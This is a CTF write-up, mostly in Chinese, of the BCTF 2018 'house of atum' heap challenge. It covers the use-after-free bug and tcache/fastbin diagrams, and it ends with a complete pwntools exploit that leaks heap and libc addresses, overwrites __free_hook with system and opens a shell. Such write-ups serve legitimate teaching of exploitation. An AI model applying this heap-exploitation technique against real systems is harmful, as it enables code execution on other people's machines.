BCTF 2018 house of atum

Start

建议和three一起做.很多逻辑都差不多 增加了一个edit功能 但是减少了一个可以控制的point magic of tcache & fast bin

analysis

checksec

➜  Desktop checksec houseofAtum
[*] '/home/n132/Desktop/houseofAtum'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

全保护 主要的漏洞点也和three 一样:uaf

  Desktop checksec houseofAtum
[*] '/home/n132/Desktop/houseofAtum'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
  Desktop 

但是主要的限制是:

if ( v1 < 0 || v1 > 1 || !notes[v1] )
    return puts("No such note!");

开始的时候自己画了半天感觉如果单凭tcache 用两个point是不可能的… 最后偷偷看了Ne0师傅的wp Ne0 发现自己的思维还是太禁锢…

House of atum

add()#0
add()#1
for x in range(7):
    free(0)
free(1)
#break point 1
free(0)
#break point 2

beak point 1 处 堆内存分布:

 tcache                                 a
+-------+                    +-----------+-----------+
|       +-------------+      | prev_size |   size    |
+-------+             |      +-----------+-----------+
|       |             +------>  fd                   <-------+
+-------+                    |                       |       |
|       |                    |                       |       |
+-------+                    +------------+----------+       |
                                          |                  |
                                          +------------------+


fastbin                                 b
+-------+                    +-----------+-----------+
|       +-------------+      | prev_size |   size    |
+-------+             |      +-----------+-----------+
|       |             +------>  fd                   |
+-------+                    |                       |
|       |                    |                       |
+-------+                    +-----------------------+

beak point 2 处 堆内存分布:

 tcache                                 a
+-------+                    +-----------+-----------+
|       +-------------+      | prev_size |   size    |
+-------+             |      +-----------+-----------+
|       |             +------>  fd                   +-------+
+-------+                    |                       |       |
|       |                    |                       |       |
+-------+                    +-----------------------+       |
                                                             |
                                                         +---+
                                                         |
fastbin                                 a                |            b
+-------+                    +-----------+-----------+   | +-----------+-----------+
|       +-------------+      | prev_size |   size    | +-+-> prev_size |   size    |
+-------+             |      +-----------+-----------+ |   +-----------+-----------+
|       |             +------>  fd=b                 +-+   |  fd=0                 |
+-------+                    |                       |     |                       |
|       |                    |                       |     |                       |
+-------+                    +-----------------------+     +-----------------------+

利用思路

利用过程

* get heap base#u need it
* use house of atum 
    * add(p64(0x21)*7+p64(0x61)+p61(heap+0x250))
    * add()
    * free(0)*7
    * free(1),free(0)
    * add(),add()
    * free(0x2a0) to tcache(0x60) 
    * add()# get 0x250
* modify chunk_size (0x260)
* free 0x260 to fill tcache 
* free 0x260 to unsorted bin
* show to get libc_base
* modify: __free_hook --> system
* free /bin/sh

exp

from pwn import *

def cmd(c):
	p.sendlineafter("choice:",str(c))
def add(data=p64(0x11)*9):
	cmd(1)
	p.sendafter("tent:",data)
def edit(idx,data):
	cmd(2)
	p.sendlineafter("idx:",str(idx))
	p.sendafter("tent:",data)
def free(idx,mode=0):
	cmd(3)
	p.sendlineafter("idx:",str(idx))
	if(mode==0):
		p.sendlineafter(":",'n')
	else:
		p.sendlineafter(":",'y')
def show(idx):
	cmd(4)
	p.sendlineafter("idx:",str(idx))
p=process("./houseofAtum")
binary=ELF("./houseofAtum")
add()#0
add()#1
free(1,1)
free(0,1)
add("\x0a")
#context.log_level='debug'
show(0)
p.readuntil("tent:\n")
heap=u64(("\x00"+p.readline()[:-1]).ljust(8,'\x00'))-0x200
log.warning("heap>%s",hex(heap))
free(0,1)
add(p64(0x21)*7+p64(0x61)+p64(heap+0x250))
add()
for x in range(7):
	free(0)
free(1,1)

free(0,1)
add('0')
add('0')
free(1,1)
add(p64(0)+p64(0x91))
for x in range(7):
	free(0)
free(0,1)
edit(1,"A"*16)
show(1)
p.readuntil("A"*16)
base=u64(p.readline()[:-1].ljust(8,'\x00'))-(0x7ffff7dcfca0-0x00007ffff79e4000)
log.warning(hex(base))
binary=ELF("./houseofAtum")
libc=binary.libc
libc.address=base
edit(1,p64(0)+p64(0x51)+p64(0))
add(p64(0xcafebabe))
free(0,1)
edit(1,p64(0)+p64(0x61)+p64(libc.symbols['__free_hook']))
add(p64(0))
free(0,1)
add(p64(libc.symbols['system']))
edit(1,"/bin/sh")
cmd(3)
p.sendlineafter("idx:","1")
p.sendline("clear")
p.interactive("\033[1;31;40m n132>>> \033[0m")

.